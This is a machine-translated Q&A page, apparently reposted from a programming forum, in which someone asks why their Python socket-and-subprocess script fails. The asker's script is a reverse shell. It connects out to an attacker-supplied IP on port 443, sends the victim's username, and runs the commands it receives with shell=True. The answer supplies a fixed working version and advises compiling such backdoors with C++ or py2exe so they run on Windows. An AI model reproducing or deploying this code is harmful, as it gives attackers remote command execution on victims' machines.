[英]How to use sockets in Python and subprocess?
/ *
嘿,这个脚本除了易于停止和检测之外,纯粹是出于娱乐目的,没有任何非法行为。 如果我将其用于非法活动,为什么还要在这里发布?
* /
我的问题是我无法从客户端执行cmd命令。 我不确定为什么,尽管我暗示它与某种套接字错误有关。 当我尝试执行命令时,无论等待多长时间,它都无济于事。 客户端没有问题,因为我已经使用下面的简单版本的代码对其进行了测试。
import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('IP here')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
def start():
conntrue = None
while conntrue is None:
try:
conntrue = s.connect((host, port))
s.send("[+] We are connected to %s") % (username)
while True:
try:
exec_code = s.recv(1024)
if exec_code == "quit":
break
elif exec_code == "Hey":
try:
proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except:
s.send("[+] was wrong, just exec it manually")
else:
proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except:
s.close()
except:
conntrue = None
pass
s.close()
start()
到这里,这是一个从客户端获取shell的有效代码。 我怀疑您将能够使用任何非法的方法,python不是用于后门。 您应该考虑将C ++用于此类代码,因为它不仅速度很快,而且可以编译为exe。 python需要python解释器,因此无法在Windows上运行(除非您获取py2exe)。
import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
try:
connection = s.connect((host, port))
s.send("[+] We are connected to %s" % username)
while True:
try:
exec_code = s.recv(1024)
if exec_code == "quit":
break
else:
proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except Exception, err:
print err
except Exception, e:
print e
s.close()
尽量不要使用except Exception,variable
,它本身可以用来发现代码中的错误,然后替换成空的except。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.